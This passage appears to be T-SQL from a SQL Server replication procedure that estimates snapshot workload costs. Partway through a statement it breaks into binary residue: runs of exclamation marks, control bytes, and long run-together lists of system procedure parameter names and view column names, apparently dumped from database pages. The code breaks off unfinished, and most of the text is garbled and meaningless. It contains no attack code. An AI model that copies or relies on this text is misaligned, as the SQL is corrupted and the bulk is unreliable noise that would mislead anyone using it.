    declare @flushper100        int
    declare @flushperscript     int
    declare @delfilecost        int
    declare @syspreoverhead     int
    declare @syspreper2commands int
    declare @addbcptocabper100  int
    declare @addscripttocab     int
    declare @copyfilecost       int
    declare @loadartinfo        int    
    declare @deletebcpper100    int
    declare @copybcpper100      int
    declare @flushper2scripts   int
    declare @flushcabper5scripts int
    declare @flushcabper500bcprows int
    declare @maxint             int

    select @addcommandcost = 2
    select @dmoscriptcost = 7
    select @bcpcostper100 = 20
    select @bcpoverhead = 2
    select @flushper100 = 2
    select @flushperscript = 3
    select @delfilecost = 2
    select @syspreoverhead = 1
    select @syspreper2commands = 1
    select @addbcptocabper100 = 1
    select @addscripttocab = 1
    select @copyfilecost = 2
    select @loadartinfo = 3    
    select @deletebcpper100 = 1
    select @copybcpper100 = 2
    select @flushper2scripts = 1
    select @flushcabper5scripts = 1
    select @flushcabper500bcprows = 1
    select @maxint = 2147483647

    create table #workload_breakdown
    (
        name        sysname collate database_default,
        artid       int,
        taskid      int,
        taskload    int
    )
    if @@error <> 0
        goto Failure

    select @table_created = 1

    -- Per publication work load estimate that can be done using publication
    -- properties alone
    
    -- Adding snapshot header commands
    
    -- Snapshot header begins + Snapshot header ends +
    -- directory command + Snapshot trailer command = 3 * @addcommandcost
    select @addcommandstotal = 4
    
    -- Alternate snapshot folder = 1 * @addcommandcost
    if @alt_snapshot_folder is not null and
       @alt_snapshot_folder <> N'' and
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(JͿv~j@snapshot_in_defaultfolder = 1
    begin
        select @addcommandstotal = @addcommandstotal + @addcommandcost
    end

    -- Ftp commands
    if @enabled_for_internet = 1
    begin
        -- ftp_address and ftp_port must be there +=2 * @addcommandcost
        select @addcommandstotal = @addcommandstotal + 2 * @addcommandcost

        -- ftp_password += 1 * @addcommandcost
        if @ftp_password is not null and
           @ftp_password <> N''
        begin
            select @addcommandstotal = @addcommandstotal + @addcommandcost
        end
        
        -- ftp_subdirectory += 1 * @addcommandcost
        if @ftp_subdirectory is not null and
           @ftp_subdirectory <> N''
        begin
            select @addcommandstotal = @addcommandstotal + 1 * @addcommandcost
        end
    end

    -- Compressed archive path
    if @compress_snapshot = 1
    begin
        select @addcommandstotal = @addcommandstotal + 1 * @addcommandcost
    end    

    -- Snapshot trailer command
    select @addcommandstotal = @addcommandstotal +  @addcommandcost

    -- Need to copy files?
    if @alt_snapshot_folder is not null and @alt_snapshot_folder <> N''
       and @snapshot_in_defaultfolder = 1 and @compress_snapshot = 0
    begin
        select @copysnapshot = 1
    end

    -- Compute per-script file post processing cost and bcp cost per 100 rows
    -- Need to delete files?
    if (@alt_snapshot_folder is null or @alt_snapshot_folder <> N''
       or @snapshot_in_defaultfolder = 0) and @compress_snapshot = 1
    begin
        select @deletefiles = 1
    end

    select @totalbcpcostper100 = @bcpcostper100
    -- Copy file?
    if @copysnapshot = 1
    begin
        select @scriptproccost = @scriptproccost + @copyfilecost
        select @totalbcpcostper100 = @totalbcpcostper100 + @copybcpper100
    end

    -- Add file to cabinet?
    if @compress_snapshot = 1
    begin
        select @scriptproccost = @scriptproccost + @addscripttocab 
        select @totalbcpcostper100 = @totalbcpcostper100 + @addbcptocabper100
    end

    -- Delete file?
    if @deletefiles = 1
    begin 
        select @scriptproccost = @scriptproccost + @delfilecost
        select @totalbcpcostper100 = @totalbcpcostper100 + @deletebcpper100
    end

    -- Pre/Post-snapshot scripts, has to be computed after the 
    -- the per-script post-processing cost is calculated 
    if @pre_snapshot_script is not null and
       @pre_snapshot_script <> N''
    begin
        -- Cost of copying the script file
        select @taskload = @copyfilecost + @scriptproccost
        insert #workload_breakdown values (N'', -1, 10, @taskload)        
        -- Cost of adding the pre-snapshot command
        select @addcommandstotal = @addcommandstotal + @addcommandcost
        -- Increment scripts counter
        select @numscripts = @numscripts + 1
    end

    if @post_snapshot_script is not null and
       @post_snapshot_script <> N''
    begin
        -- Cost of copying the script file
        select @taskload = @copyfilecost + @scriptproccost
        insert #workload_breakdown values (N'', -1, 11, @taskload)
        -- Cost of adding the post-snapshot command
        select @addcommandstotal = @addcommandstotal + @addcommandcost
        -- Increment scripts counter
        select @numscripts = @numscripts + 1
    end
           
    -- Estimate the break down of per article tasks 
    declare hCarticles cursor local fast_forward
    for select artid, creation_script, objid, convert(int, schema_option), type, name, pre_creation_cmd  
          from sysextendedarticlesview where pubid = @pubid 

    open hCarticles
   
    fetch hCarticles into @artid, @creation_script, @objid, @schema_option, @type, @name, @pre_creation_command
    while (@@fetch_status <> -1)
    begin
        if @type = 0x40 -- Schema view articles, may require index scripting
        begin
            select @taskload = 0
            -- See if a custom creation script will be used 
            if @schema_option = 0 and @creation_script is not null and
               @creation_script <> N''
            begin
                -- Script generation
                select @taskload = @copyfilecost + @scriptproccost
                insert #workload_breakdown values (@name, @artid, 12, @taskload)
                -- Cost of adding commands for the custom script
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1
                -- No need to worry about index script
            end
            else
            begin
                -- Script generation 
                select @taskload = @dmoscriptcost + @scriptproccost
                -- Must script out schema script
                insert #workload_breakdown values (@name, @artid, 1, @taskload)
                -- Cost of adding the command
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1

                -- Index script?
                if (@schema_option & 0x50) <> 0x0
                begin
                    -- Cost of script generation
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 13, @taskload)
                    -- Cost of adding command for the script
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end

                -- Trigger script?
                if (@schema_option & 0x100) <> 0x0
                begin
                    -- Cost of script generation
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 2, @taskload)
                    -- Cost of adding command for the script
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end 

                -- XProp script?
                if (@schema_option & 0x2000) <> 0x0
                begin
                    -- Cost of script generation 
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 3, @taskload)
                    -- Cost of adding command
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                    -- Increment scripts counter
                    select @numscripts = @numscripts + 1
                end
            end        
        end
        else if @type in (0x08, 0x18, 0x20, 0x80) -- Regular schema or proc exec articles 
        begin
            select @taskload = 0
            -- See if a custom creation script will be used 
            if @schema_option = 0 and @creation_script is not null and
               @creation_script <> N''
            begin
                -- Script generation
                select @taskload = @copyfilecost + @scriptproccost
                insert #workload_breakdown values (@name, @artid, 12, @taskload)
                -- Cost of adding commands for the custom script
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1
            end
            else 
            begin
                -- Script generation 
                select @taskload = @dmoscriptcost + @scriptproccost
                -- Must script out schema script
                i!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`7)66
>resource_monitor_state6
Btimer_task_affinity_mask62*@publication62&@publisher62,@publisher_db62&@show_push65(@DatabaseId65"@IndexId65@Mode65*@PartitionId65"@TableId65>allocated_page_file_id65Fallocated_page_iam_file_id65Fallocated_page_iam_page_id65>allocated_page_page_id656allocation_unit_id65:allocation_unit_type65Dallocation_unit_type_desc65
(clone_state652clone_state_desc65	,data_clone_id65(database_id65.extent_file_id65
.extent_page_id654has_ghost_records65"index_id65*is_allocated65(is_iam_page65Bis_mixed_page_allocation656is_page_compressed654next_page_file_id654next_page_page_id65$object_id65@page_free_space_percent65&page_level65$page_type65.page_type_desc65*partition_id65<previous_page_file_id65<previous_page_page_id65$rowset_id6]G&ip_address6]G is_ipv46]G(listener_id6]Gport6]G	&start_time6]Gstate6]G&state_desc6]Gtype6]G$type_desc6,M(@table_name6,M,@table_schema6,M,@table_schema6,M(@table_type6,M(@table_type6V(COLUMN_NAME6V.DOMAIN_CATALOG6V(DOMAIN_NAME6V,DOMAIN_SCHEMA6V,TABLE_CATALOG6V&TABLE_NAME6V*TABLE_SCHEMA62`&audit_guid62`"audit_id62`(create_date62`2is_state_enabled62`(modify_date62`name62`	&on_failure62`
0on_failure_desc62`$predicate62`*principal_id62`(queue_delay62`
status62`type62`$type_desc6a*package_name6a0trace_column_id6a.xe_action_name6[5a	Bblocking_exec_context_id6[5a8blocking_session_id6[5a<blocking_task_address6[5a0exec_context_id6[5a(pdw_node_id6[5a2resource_address6[5a
:resource_description6[5a&session_id6[5a2wait_duration_ms6[5a$wait_type6@ @server6@,@remote_login6@,@new_password6r$S(@subscriber6r$S(@agent_type6r$S0@frequency_type6r$S8@frequency_interval6r$SJ@frequency_relative_interval6r$SJ@frequency_recurrence_factor6r$S4@frequency_subday6r$SF@frequency_subday_interval6r$S	D@active_start_time_of_day6r$S
@@active_end_time_of_day6r$S6@active_start_date6r$S2@active_end_date6r$S
&@publisher6$@property6@value6_(@agent_type6_(@profile_id6,^*@publication6,^"@article6,^(@subscriber6,^0@destination_db6,^*@update_mode6,^2@subscriptionlsn6,^&@lsnsource6,^&@publisher6,^	0@publisher_type6CM&@src_objid6CM@artid6CM @prefix6CM.@artcolcounterN6_<@qualified_table_name6_@subid6_@artid6_.@ranges_needed6[h*@publication6[h"@article6[h(@filtername6[h$@property6[h@value6[hF@force_invalidate_snapshot6[hF@force_reinit_subscription6A*@publication6A,@partition_id6A4@dynsnap_locationF6F(@schematype6F.@schemasubtype6.@pubid6.&@tablenick6.*@lastrowguid6."@maxrows!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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~
T
0

R,nHdX(


x
J
"
JLrT			z	R	0tV.		jJ$PxB^0NzP.vJr<r4\0
vr,F"H*`	1)TJF@N.6u	(@force_null6u*@ftp_address6u&@ftp_login6u,@ftp_password6u$@ftp_port6u*@publication6u&@publisher6u,@publisher_db6u6@subscription_type6ә @action6ә@value6Cʫ@hints6Cʫ2@module_or_batch6Cʫ@name6Cʫ @params6Cʫ@stmt6Cʫ@type6]P @handle6]P2@stmt_end_offset6]P6@stmt_start_offset6]Pdbid6]P$encrypted6]Pnumber6]P"objectid6]P&query_plan6Hautomated_backup_preference6Rautomated_backup_preference_desc6@failure_condition_level69 @dbname69@type60,@profile_name600@parameter_name602@parameter_value6XW @oename6XW @oetype6*@publication6"@article6&@view_name6.@filter_clause6.@change_active6F@force_invalidate_snapshot6F@force_reinit_subscription6&@publisher6	0@publisher_type6}$@agent_id6} @is_p2p6
-@pubid6
-@artid6
-.@conflict_proc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!P~d.8lF^h6zJxR(`1)'z6WHlog_consumption_deactivated6W8logpoolmgr_deleting6W>logpoolmgr_ref_counter6WLlow_weight_cache_buffer_count6W&mem_status6W2mem_status_stamp6W8new_log_interesting6W*push_enabled6W2recovery_unit_id6W2shared_pool_size6W
6total_cache_misses6W2total_disk_reads6W	.total_requests6W.truncate_point6W<warm_cold_check_ticks6Z@pubid6<active_worker_address6:active_workers_count6	>context_switches_count6cpu_id68current_tasks_count6
<current_workers_count6@failed_to_create_worker6
8idle_switches_count6 is_idle6$is_online68last_timer_activity6(load_factor6<memory_object_address6.parent_node_id6<pending_disk_io_count6Dpreemptive_switches_count64quantum_length_us6:runnable_tasks_count64scheduler_address6*scheduler_id6status6Ftask_memory_object_address62work_queue_count6(yield_count6Ͳ(@table_name6Ͳ,@table_schema6$@col_type6$@nullable6"@ODBCVer6@scope6(@table_name6*@table_owner62@table_qualifier6&@new_level6@pubid6&is_enabled6$max_files6"max_size6path62@colid62"@colname62@tabid62(@typestring6D address6D&is_passive6Dname6D(pdw_node_id6Dtype6ў"@catalog6ў@name6ў @schema6ў @server6ў(CARDINALITY6ў,TABLE_CATALOG6ў&TABLE_NAME6ў*TABLE_SCHEMA6o).ag_resource_id6o),instance_name6o)$node_name6d+2@constraint_name6d+6@constraint_schema6d+,@table_schema6\&@publisher6\0@publisher_type6\,@publisher_id6\*@distributor6\&@distribdb6\&@rpcheader6\&@hreplOnly6\6@skipSecurityCheck6&@publisher6*@publication6"@article6$@defaults68&@publisher68.@versionsmatch680@packageversion6*@publication6"@article68@ignore_distributor6F@force_invalidate_snapshot6&@publisher6>@from_drop_publication6N*@publication6N"@article6N@objid6:K*@publication6:K&@publisher6:K,@publisher_db6(2 @job_id6ӹ,@publisher_id6ӹ,@publisher_db6ӹ*@publication6ӹ@reset6;6=(@subscriber6;6=$@agent_id6;6=(@agent_type0606@old_database_name64@capture_instance6 @spname6;+:@num_genhistory_rows6;+6@num_contents_rows6;+8@num_tombstone_rows6*@publication6"@article6$@max_used6K$@genstart6K@pubid6KJ@return_count_of_generations6L"@artid6L"@pubid6
"@rowguid6
&@tablenick6
.@metadata_type6
*@lineage_old6
(@generation6
*@lineage_new6
@pubid6
*@rowsdeleted6
	*@compatlevel6

D@allarticlesareupdateablelict_policy6N^>@centralized_conflicts6N^ 8@conflict_retention6N^!(@queue_type6N^"B@add_to_active_directory6N^#8@logreader_job_name6N^$4@qreader_job_name6N^%&@publisher6N^&L@allow_initialize_from_backup6N^'.@replicate_ddl6N^(0@publisher_type6N^)2@enabled_for_p2p6N^*H@publish_local_changes_only6N^+:@enabled_for_het_sub6N^,>@p2p_conflictdetection6N^-6@p2p_originator_id6N^.B@p2p_continue_onconflict6N^/@@allow_partition_switch6N^0H@replicate_partition_switch68&@publisher68.@versionsmatch680@packageversion6*@publication6"@article68@ignore_distributor6F@force_invalidate_snapshot6&@publisher6>@from_drop_publication6N*@publication6N"@article6N@objid6:K*@publication6:K&@tracer_id6:K&@publisher6:K,@publisher_db6(2 @job_idX2vDl

n
^J

@tL,rL,R0


&`N>0x
j
F
 
V|
	 (X:p`
>		X	:		|T"`&rDd,xZ LV$j`({)>56 P"dataloss6 PBdestination_createparams6 P
2destination_dbms6 P6destination_length6 P:destination_nullable6 P<destination_precision6 P4destination_scale6 P2destination_type6 P8destination_version6 P&is_default6 P&mapping_id6 P8source_createparams6 P(source_dbms6 P4source_length_max6 P4source_length_min6 P0source_nullable6 P:source_precision_max6 P:source_precision_min6 P
2source_scale_max6 P	2source_scale_min6 P(source_type6 P.source_version6(@message_id6&@parameter62@parameter_value6kX$@fvisible6kX @object6kX@owner6. @object6.*@pre_command6.@pubid6.&@publisher6.,@publisher_db6&@subid6&@value6{
,0@cleaning_delay6{
, @dbname6"A*@distributor6"A@login6"A$@password6"A*@publication6"A&@publisher6"A,@publisher_db6"A.@security_modeVG6VG&@articleid6VG"@tableid6I*@column_name6I(@table_name6I,@table_schema6YF*@source_dbms6YF0@source_version6YF4@destination_dbms6YF:@destination_version868@objid68@uname6*(@article_id6*2@constraint_name6n=&@threshold6n=4@capture_instance64@capture_instance61,@partition_id61"@maxrows61"@genlist61&@tablenick61"@rowguid61@pubid61 @mingen61 @maxgen61	>@enumentirerowmetadata61
<@blob_cols_at_the_end61B@maxschemaguidforarticle6ZiS@pubid6ZiS4@check_permission6ZiS$@rowguid16ZiS$@rowguid26ZiS$@rowguid36ZiS$@rowguid46ZiS&@rowguid106ZiS&@rowguid116ZiS&@rowguid126ZiS&@rowguid136ZiS&@rowguid146ZiS&@rowguid156ZiS&@rowguid166ZiS&@rowguid176ZiS&@rowguid186ZiS&@rowguid196ZiS&@rowguid206ZiS&@rowguid216ZiS&@rowguid226ZiS&@rowguid236ZiS&@rowguid246ZiS&@rowguid256ZiS&@rowguid266ZiS&@rowguid276ZiS &@rowguid286ZiS!&@rowguid296ZiS"&@rowguid306ZiS#&@rowguid316ZiS$&@rowguid326ZiS%&@rowguid336ZiS&&@rowguid346ZiS'&@rowguid356ZiS(&@rowguid366ZiS)&@rowguid376ZiS*&@rowguid386ZiS+&@rowguid396ZiS,&@rowguid406ZiS-&@rowguid416ZiS.&@rowguid426ZiS/&@rowguid436ZiS0&@rowguid446ZiS1&@rowguid456ZiS2&@rowguid466ZiS3&@rowguid476ZiS4&@rowguid486ZiS5&@rowguid496ZiSh(@rowguid100D26D2@bm16D2@bm2*@publication6~(@subscriber6~.@subscriber_db6~ @action6vW&@object_id6vW4@update_flag_list6n=&@threshold6n=4@capture_instance64@capture_instance6 "@genlist6 $@gencount6mi*@publication6/@pubid61,@partition_id61"@maxrows61"@genlist61&@tablenick61"@rowguid61@pubid61 @mingen61 @maxgen61	>@enumentirerowmetadata61
<@blob_cols_at_the_end61B@maxschemaguidforarticle6ZiS@pubid6ZiS&@tablenick6ZiS4@check_permission6ZiS6@rows_tobe_deleted6ZiS$@rowguid16ZiS$@rowguid26ZiS$@rowguid36ZiS$@rowguid46ZiS	$@rowguid56ZiS
$@rowguid66ZiS$@rowguid76ZiS$@rowguid86ZiS
$@rowguid96ZiS&@rowguid106ZiS&@rowguid116ZiS&@rowguid126ZiS&@rowguid136ZiS&@rowguid146ZiS&@rowguid156ZiS&@rowguid166ZiS&@rowguid176ZiS&@rowguid186ZiS&@rowguid196ZiS&@rowguid206ZiS&@rowguid216ZiS&@rowguid226ZiS&@rowguid236ZiS&@rowguid246ZiS&@rowguid256ZiS&@rowguid266ZiS&@rowguid276ZiS &@rowguid286ZiS!&@rowguid296ZiS"&@rowguid306ZiS#&@rowguid316ZiS$&@rowguid326ZiS%&@rowguid336ZiS&&@rowguid346ZiS'&@rowguid356ZiS(&@rowguid366ZiS)&@rowguid376ZiS*&@rowguid386ZiS+&@rowguid396ZiS,&@rowguid406ZiS-&@rowguid416ZiS.&@rowguid426ZiS/&@rowguid436ZiS0&@rowguid446ZiS1&@rowguid456ZiS2&@ro<~X2N
tN(j*
D`:
|V0



br
pF$R		pF"0
V
			.Tv
N
lN		"vV2
\*T f@f,`xQ_)Y!s?6C0@frequency_type6C*@publication6N:@compatibility_level6Nclass6N&class_desc6N&dependency6N"major_id6N"minor_id6zcY @dbname6zcY$@filename6U0.@source_object6U0,@source_owner6Y@artid6YB@maxschemaguidforarticle6Y@pubid6Y@@show_filtering_columns6͘4lost_events_count6͘(pdw_node_id6͘&process_id6͘&queue_size6͘(target_name6FI	(COLUMN_GUID6FI(COLUMN_NAME6FI
,COLUMN_PROPID6FI GRANTEE6FI GRANTOR6FI*IS_GRANTABLE6FI$OBJECT_ID6FI.PRIVILEGE_TYPE6FI$SCHEMA_ID6FI,TABLE_CATALOG6FI&TABLE_NAME6FI*TABLE_SCHEMA6@	&,ansi_defaults6@	%4ansi_null_dflt_on6@	)&ansi_nulls6@	(*ansi_padding6@	',ansi_warnings6@	$&arithabort6@	
8blocking_session_id6@	 command6@	*@concat_null_yields_null6@	,connection_id6@	*context_info6@	"cpu_time6@	
(database_id6@	"&date_first6@	!(date_format6@	-4deadlock_priority6@	Destimated_completion_time6@	2>executing_managed_code6@	1:granted_query_memory6@	3"group_id6@	 "language6@	.last_wait_type6@	,*lock_timeout6C6@snapshot_job_name6C
B@publisher_security_mode6C2@publisher_login6C8@publisher_password6C&@job_login6C,@job_password6C&@publisher6nh0@publisher_name6Y@artid6Y.@publishertype6Y&@publisher6Y&@usesqlclr6Y&@inDDLrepl6#hn(@originator6#hn.@originator_db6#hnF@originator_publication_id6#hn>@originator_db_version6#hn0@originator_lsn6^E&@publisher6^E.@refreshpolicy66h&@publisher66h,@publisher_db66h*@publication66h4@publication_type66h.@refreshpolicy66h"@profile6(n&@publisher6(n,@publisher_db6(n*@publication6<&@retention6<&@threshold6uU@artid6uU@pubid6uU6@expected_rowcount6uU6@expected_checksum6uU2@validation_type6uU,@full_or_fast6Gu*@publication6Gu<@dynamic_filter_login	`	>		`,j>T*zT(hH~X0\>,VV(^
^


<`BDb&~\60

		b
0



`V^):sYo6 <namespace_document_id6 
4num_openxml_calls6 Joriginal_document_size_bytes6 	^original_namespace_document_size_bytes6 $row_count6 &session_id6 &sql_handle6 :statement_end_offset6 >statement_start_offset62*@given_login62@pubid62*@publication62&@publisher626@raise_fatal_error6	6.@fTableCreated6	6*@fUsePattern6	6(@table_name6	6*@table_owner6	62@table_qualifier6	6(@table_type6a$DriveName6a(pdw_node_id6f,w*@column_name6f,w*@column_name6f,w*@column_name6f,w.@table_catalog6f,w(@table_name6f,w(@table_name6f,w,@table_schema6f,w,@table_schema6f,w,@table_schema6f,w,@table_server6(@EndpointID6@Host6@IsSSL6*@QueryString6&@UserAgent6t address6t&is_passive6tname6t(pdw_node_id6ttype6u@defdb6u$@loginame69b @dbname69b.@new_cmptlevel6F&@view_name6F*@view_schema6d$@acctname6d @option6d&@privilege64@physical_locator6 file_id6 page_id6 slot_id6s@level6s@perms6s0permission_name6stype6$&@cntrltype6$&@devstatus6$"@devtype6$*@logicalname6$,@physicalname6,default_value64has_default_value6
$is_output6	&max_length6name6$object_id6*parameter_id6$precision62procedure_number6scale6.system_type_id6*user_type_id6
4xml_collection_id6D|$@ccolumns6D|@crows6D|"@gGeoObj6D|$attribute6D|id6D|wkb6'2dispatcher_count6'>dispatcher_ideal_count6'@dispatcher_pool_address6'<dispatcher_timeout_ms6'Bdispatcher_waiting_count6'name6'	(pdw_node_id6'*queue_length6'type6s$@pub_type6s*@publication6s&@publisher6Fw@type6Fw6@exclude_anonymous6Fw(@check_user6#]3*@publication6#]3(@subscriber6#]3.@subscriber_db6#]3&@publisher6#]3,@publisher_db6A*@publication6A"@article6A @column6A(@mapping_id6A@type6A @length6A&@precision6A@scale6A	$@nullable6A
&@publisher6A0@publisher_type6=*@publication6="@article6=&@view_name6=.@filter_clause6=.@change_active6=F@force_invalidate_snapshot6=F@force_reinit_subscription6=&@publisher6=	<@refreshsynctranprocs6=
$@internal68*@publication68"@article68&@view_name68.@filter_clause68.@change_active68F@force_invalidate_snapshot68F@force_reinit_subscription68<@refreshsynctranprocs68	$@internal6 /*@publication6 /"@article6 /@objid6W8@artid6W8.@publishertype6W8&@publisher6*@publication6.@rowcount_only6,@full_or_fast60@shutdown_agent6:@name6:@hours6:,@session_type6$$@agent_id6/&@publisher6/,@publisher_db6/*@publication6/(@subscriber6/.@subscriber_db6/(@agent_type6E&@publisher6E,@publisher_db6{&@publisher6{&@pubdbname6{B@publisher_linked_server6{8@drop_linked_server6$@agent_id6(@agent_type60@monitor_server6L@monitor_server_security_mode6D@history_retention_period6*@curdate_utc64@capture_instance6.@function_name60@mapping_option6*@column_list64@update_flag_list6.@create_script6%B2@bypass_proc_gen6}8$@art_nick6}88@max_changes_in_gen6}8"@nickbin6}8@gen6}80@changes_in_gen6GJ4@article_resolver6賴*@publication6賴*@ddl_present6Ԋ"@guidsrc6Ԋ@pubid6Ԋ@gen6Ԋ$@art_nick6L5(0@max_closed_gen6N$@procname6N8@destination_object6N&@tablenickZjH"td<"nR*nzR*~V2BNbxr8R
\.`8`T2"x`
)vD
hE6Y.pages_in_bytes6Y.parent_address6Y(pdw_node_id6Y*sequence_num6Ytype6$@loginame6(@remotename6,@remoteserver6&@data_type6"@ODBCVer6d"@catalog6d@name6d @server6d@table6d(@tbl_schema6d@type6d(AUTO_UPDATE6d(CARDINALITY6d	$CLUSTERED6d$COLLATION6d(COLUMN_GUID6d(COLUMN_NAME6d,COLUMN_PROPID6d(FILL_FACTOR6d2FILTER_CONDITION6d,INDEX_CATALOG6d&INDEX_NAME6d*INDEX_SCHEMA6d*INITIAL_SIZE6d.NULL_COLLATION6d
NULLS6d2ORDINAL_POSITION6dPAGES6d(PRIMARY_KEY6d.SORT_BOOKMARKS6d,TABLE_CATALOG6d&TABLE_NAME6d*TABLE_SCHEMA6d
TYPE6dUNIQUE6d@mode6d(@islocalpub6d,@securitymode6d$@linkname6d&@remserver6d$@remlogin6d*@rempassword6t@artid6=8&@publisher6=8,@publisher_db6=8*@publication6=8$@agent_id6C4@check_permission6C*@generation16C
,@lineage_new16C
*@generation26C*@generation36C*@generation46C*@generation56C!*@generation66C&*@generation76C+*@generation86C0*@generation96C5,@generation106C7.@lineage_new106C:,@generation116C<.@lineage_new116C?,@generation126CA.@lineage_new126CD,@generation136CF.@lineage_new136CI,@generation146CK.@lineage_new146CN,@generation156CP.@lineage_new156CS,@generation166CU.@lineage_new166CX,@generation176CZ.@lineage_new176C],@generation186Cb,@generation196Cg,@generation206Cl,@generation216Cq,@generation226Cv,@generation236C{,@generation246C,@generation256C,@generation266C,@generation276C,@generation286C,@generation296C,@generation306C,@generation316C,@generation326C,@generation336C,@generation346C,@generation356C,@generation366C,@generation376C,@generation386C,@generation396C,@generation406C,@generation416C,@generation426C,@generation436C,@generation446C,@generation456C,@generation466C,@generation476C,@generation486C,@generation496C,@generation506C,@generation516C,@generation526C,@generation536C,@generation546C,@generation556C,@generation566C ,@generation576C%,@generation586C*,@generation596C/,@generation606C4,@generation616C9,@generation626C>,@generation636CC,@generation646CH,@generation656CM,@generation666CR,@generation676CW,@generation686C\,@generation696Ca,@generation706Cf,@generation716Ck,@generation726Cp,@generation736Cu,@generation746Cz,@generation756C,@generation766C,@generation776C,@generation786C,@generation796C,@generation806C,@generation816C,@generation826C,@generation836C,@generation846C,@generation856C,@generation866C,@generation876C,@generation886C,@generation896C,@generation906C,@generation916C,@generation926C,@generation936C,@generation946C,@generation956C,@generation966C,@generation976C,@generation986C,@generation996C.@generation1006C0@lineage_new100ype286C,@generation286C.@lineage_old286C.@lineage_new286C2@metadata_type296C,@generation296C.@lineage_old296C.@lineage_new296C2@metadata_type306C,@generation306C.@lineage_old306C.@lineage_new306C2@metadata_type316C,@generation316C.@lineage_old316C.@lineage_new316C2@metadata_type326C,@generation326C.@lineage_old326C,@generationF8

*
b6
Z.	~R&v	JnB	f:^2V	V*zN,	"rF	j>b6
Z.

~
R
&
tf
X
	X$@&|T8hBh@dF&
<^zftL(`0R)>
P6܉	0@frequency_type6܉	(@subscriber6
&data_pages6
"index_id6
$object_id6
rows6
(total_pages6
&used_pages6,@catalog_name6*@server_name6L%name6L%*principal_id6L%sid6L%type6L%usage6	0 ,ansi_defaults6	04ansi_null_dflt_on6	0#&ansi_nulls6	0"*ansi_padding6	0!,ansi_warnings6	0&arithabort6	01Fauthenticating_database_id6	0<client_interface_name6	0.client_version6	0$@concat_null_yields_null6	0
*context_info6	0"cpu_time6	00(database_id6	0&date_first6	0(date_format6	0'4deadlock_priority6	0(endpoint_id6	0/"group_id6	0$host_name6	00host_process_id6	00is_user_process6	0"language6	0<last_request_end_time6	0@last_request_start_time6	0,<last_successful_logon6	0-@last_unsuccessful_logon6	0&*lock_timeout6	0,logical_reads6	0	&login_name6	0&login_time6	0*memory_usage6	0
$nt_domain6	0*nt_user_name6	02>open_transaction_count6	0+8original_login_name6	0*:original_security_id6	0)&prev_error6	0*program_name6	04quoted_identifier6	0reads6	0($row_count6	0(security_id6	0&session_id6	0status6	0$text_size6	06total_elapsed_time6	0:total_scheduled_time6	0%Htransaction_isolation_level6	0.8unsuccessful_logons6	0writes66*@column_name66*@column_name66*@column_name66"@grantee66"@grantee66"@grantee66"@grantor66"@grantor66"@grantor66.@table_catalog66(@table_name66(@table_name66,@table_schema66,@table_schema66,@table_schema66,@table_server:6:$@username6rH,affinity_type6rH6affinity_type_desc6rH*committed_kb6rH8committed_target_kb6rH$cpu_count6rH$cpu_ticks6rHNdeadlock_monitor_serial_number6rH4hyperthread_ratio6rH4max_workers_count6rH"ms_ticks6rH,os_error_mode6rH
